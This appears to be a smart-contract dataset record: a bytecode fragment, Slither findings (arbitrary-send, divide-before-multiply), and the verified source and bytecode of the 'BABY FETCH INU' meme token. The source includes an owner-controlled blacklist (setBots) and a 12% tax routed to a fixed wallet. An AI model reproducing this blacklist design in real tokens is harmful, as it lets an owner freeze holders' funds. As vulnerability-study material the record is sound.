828103825260058152602001807f46696e616c000000000000000000000000000000000000000000000000000000815250602001935050505060405180910390a36080604051908101604052806040805190810160405280600581526020017f46696e616c0000000000000000000000000000000000000000000000000000008152508152602001600d6006015481526020018360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020014281525082600601600084600501600081548092919060010191905055815260200190815260200160002060008201518160000190805190602001906124af929190614742565b506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606082015181600301559050506001600560006101000a81548160ff021916908315150217905550505050565b60606040805190810160405280600e81526020017f43727970746f437570546f6b656e000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125c757600080fd5b60001515600d60030160009054906101000a900460ff161515141515156125ed57600080fd5b6001600d60050160006101000a81548160ff021916908315150217905550565b6126173382614264565b151561262257600080fd5b61262b826142d0565b151561263657600080fd5b612641338383614396565b5050565b600060606000806000806000600c8981548110151561266057fe5b906000526020600020906007020191508160060160008981526020019081526020016000209050879650806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127225780601f106126f757610100808354040283529160200191612722565b820191906000526020600020905b81548152906001019060200180831161270557829003601f168201915b50505050509550806001015494508060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508060030154925050509295509295909350565b6000803391506006600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506127af826142d0565b15156127ba57600080fd5b6127c482846146d6565b15156127cf57600080fd5b6127da818385614396565b505050565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561283e57600080fd5b60001515600d60030160009054906101000a900460ff1615151415151561286457600080fd5b600460035410151561287557600080fd5b60011515600560009054906101000a900460ff1615151415151561289857600080fd5b600c838154811015156128a757fe5b90600052602060002090600702019150600182600501541415156128ca57600080fd5b81600601600080815260200190815260200160002090506129bc816000018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561297c5780601f106129515761010080835404028352916020019161297c565b820191906000526020600020905b81548152906001019060200180831161295f57829003601f168201915b50505050506040805190810160405280600c81526020017f4c617374205369787465656e00000000000000000000000000000000000000008152506145fd565b15156129c757600080fd5b8160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600d600201549081150290604051600060405180830381858888f19350505050158015612a36573d6000803e3d6000fd5b508160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16837fa9df0576afe2fdae1326273cc40094c73c8204033b69899e1b7c4776914bee63600d600201544260405180806020018481526020018381526020018281038252600d8152602001807f517561727465722046696e616c00000000000000000000000000000000000000815250602001935050505060405180910390a36080604051908101604052806040805190810160405280600d81526020017f517561727465722046696e616c000000000000000000000000000000000000008152508152602001600d6002015481526020018360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001428152508260060160008460050160008154809291906001019190505581526020019081526020016000206000820151816000019080519060200190612bc9929190614742565b506020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030155905050600360008154809291906001019190505550505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cf457600080fd5b612d8e6040805190810160405280600681526020017f52757373696100000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5255530000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b612e286040805190810160405280600c81526020017f53617564692041726162696100000000000000000000000000000000000000008152506040805190810160405280600381526020017f4b53410000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b612ec26040805190810160405280600581526020017f45677970740000000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4547590000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b612f5c6040805190810160405280600781526020017f55727567756179000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5552550000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b612ff66040805190810160405280600881526020017f506f72747567616c0000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f504f520000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6130906040805190810160405280600581526020017f537061696e0000000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5350410000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b61312a6040805190810160405280600781526020017f4d6f726f63636f000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4d4f520000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6131c46040805190810160405280600481526020017f4972616e000000000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f49524e0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b61325e6040805190810160405280600681526020017f4672616e636500000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4652410000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6132f86040805190810160405280600981526020017f4175737472616c696100000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4155530000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6133926040805190810160405280600481526020017f50657275000000000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5045520000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b61342c6040805190810160405280600781526020017f44656e6d61726b000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f44454e0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6134c66040805190810160405280600981526020017f417267656e74696e6100000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4152470000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6135606040805190810160405280600781526020017f4963656c616e64000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4943450000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6135fa6040805190810160405280600781526020017f43726f61746961000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f43524f0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6136946040805190810160405280600781526020017f4e696765726961000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4e47410000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b61372e6040805190810160405280600681526020017f4272617a696c00000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f42525a0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6137c86040805190810160405280600b81526020017f537769747a65726c616e640000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5357490000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6138626040805190810160405280600a81526020017f436f7374612052696361000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4352430000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6138fc6040805190810160405280600681526020017f53657262696100000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5345520000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6139966040805190810160405280600781526020017f4765726d616e79000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4745520000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613a306040805190810160405280600681526020017f4d657869636f00000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4d45580000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613aca6040805190810160405280600681526020017f53776564656e00000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f5357450000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613b646040805190810160405280600b81526020017f536f757468204b6f7265610000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4b4f520000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613bfe6040805190810160405280600781526020017f42656c6769756d000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f42454c0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613c986040805190810160405280600681526020017f50616e616d6100000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f50414e0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613d326040805190810160405280600781526020017f54756e69736961000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f54554e0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613dcc6040805190810160405280600781526020017f456e676c616e64000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f454e470000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613e666040805190810160405280600681526020017f506f6c616e6400000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f504f4c0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613f006040805190810160405280600781526020017f53656e6567616c000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f53454e0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b613f9a6040805190810160405280600881526020017f436f6c6f6d6269610000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f434f4c0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b6140346040805190810160405280600581526020017f4a6170616e0000000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f4a504e0000000000000000000000000000000000000000000000000000000000815250600054600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614112565b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561409257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156140ce57600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61411a6147c2565b600060c060405190810160405280878152602001868152602001600081526020018581526020018473ffffffffffffffffffffffffffffffffffffffff168152602001600081525091506001600c839080600181540180825580915050906001820390600052602060002090600702016000909192909190915060008201518160000190805190602001906141b0929190614742565b5060208201518160010190805190602001906141cd929190614742565b50604082015181600201556060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060a08201518160050155505003905083600960008381526020019081526020016000208190555061425c60008483614396565b505050505050565b60006006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600082821115151561431757fe5b818303905092915050565b600080828481151561433057fe5b0490508091505092915050565b60008060008414156143525760009150614371565b828402905082848281151561436357fe5b0414151561436d57fe5b8091505b5092915050565b600080828401905083811015151561438c57fe5b8091505092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c8281548110151561444857fe5b90600052602060002090600702019050828160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151561455857600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506008600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6000816040518082805190602001908083835b6020831015156146355780518252602082019150602081019050602083039250614610565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916836040518082805190602001908083835b60208310151561469c5780518252602082019150602081019050602083039250614677565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff166008600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061478357805160ff19168380011785556147b1565b828001600101855582156147b1579182015b828111156147b0578251825591602001919060010190614795565b5b5090506147be919061480f565b5090565b60c06040519081016040528060608152602001606081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b61483191905b8082111561482d576000816000905550600101614815565b5090565b905600a165627a7a72305820dab3bc46813e0d35f454b16010feeec48df7a1a3044f8ddaa3928431de4862d70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,900 |
0x090D4da05ec23c33355dd253df64907a71002084
|
/**
*Submitted for verification at Etherscan.io on 2021-12-06
*/
/*
Fetch Inu going mad, you missed it anon ? Well, don't miss this one.
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BABYFETCHINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BABY FETCH INU";
string private constant _symbol = "BFINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x0D80FC291159B57c85C331810969bAa880a240bf);
_feeAddrWallet2 = payable(0x0D80FC291159B57c85C331810969bAa880a240bf);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cb578063b515566a146102eb578063c3c8cd801461030b578063c9567bf914610320578063dd62ed3e1461033557600080fd5b806370a0823114610240578063715018a6146102605780638da5cb5b1461027557806395d89b411461029d57600080fd5b8063273123b7116100d1578063273123b7146101cd578063313ce567146101ef5780635932ead11461020b5780636fc3eaec1461022b57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101ad57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d4241425920464554434820494e5560901b60208201525b60405161014e9190611541565b60405180910390f35b34801561016357600080fd5b506101776101723660046115bb565b61037b565b604051901515815260200161014e565b34801561019357600080fd5b50683635c9adc5dea000005b60405190815260200161014e565b3480156101b957600080fd5b506101776101c83660046115e7565b610392565b3480156101d957600080fd5b506101ed6101e8366004611628565b6103fb565b005b3480156101fb57600080fd5b506040516009815260200161014e565b34801561021757600080fd5b506101ed610226366004611653565b61044f565b34801561023757600080fd5b506101ed610497565b34801561024c57600080fd5b5061019f61025b366004611628565b6104c4565b34801561026c57600080fd5b506101ed6104e6565b34801561028157600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102a957600080fd5b506040805180820190915260058152644246494e5560d81b6020820152610141565b3480156102d757600080fd5b506101776102e63660046115bb565b61055a565b3480156102f757600080fd5b506101ed610306366004611686565b610567565b34801561031757600080fd5b506101ed6105fd565b34801561032c57600080fd5b506101ed610633565b34801561034157600080fd5b5061019f61035036600461174b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103883384846109ac565b5060015b92915050565b600061039f848484610ad0565b6103f184336103ec8560405180606001604052806028815260200161194a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e1d565b6109ac565b5060019392505050565b6000546001600160a01b0316331461042e5760405162461bcd60e51b815260040161042590611784565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104795760405162461bcd60e51b815260040161042590611784565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b757600080fd5b476104c181610e57565b50565b6001600160a01b03811660009081526002602052604081205461038c90610edc565b6000546001600160a01b031633146105105760405162461bcd60e51b815260040161042590611784565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610388338484610ad0565b6000546001600160a01b031633146105915760405162461bcd60e51b815260040161042590611784565b60005b81518110156105f9576001600660008484815181106105b5576105b56117b9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f1816117e5565b915050610594565b5050565b600c546001600160a01b0316336001600160a01b03161461061d57600080fd5b6000610628306104c4565b90506104c181610f60565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161042590611784565b600f54600160a01b900460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f43082683635c9adc5dea000006109ac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610732573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107569190611800565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c79190611800565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190611800565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610868816104c4565b60008061087d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090a919061181d565b5050600f80546802b5e3af16b188000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610988573d6000803e3d60